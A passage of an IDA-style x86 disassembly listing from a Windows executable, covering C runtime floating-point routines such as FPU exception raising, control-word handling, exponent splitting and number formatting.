		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3E0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D3F0
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D3F0
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3E0
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3E0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDDC, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDDC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D308


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3E0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D30C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D408
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D408
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D414
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4270A4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4270C4	; GetProcAddress
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D088
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D088
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; .packed:off_43D430o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE5C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE58
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D088
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE5C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
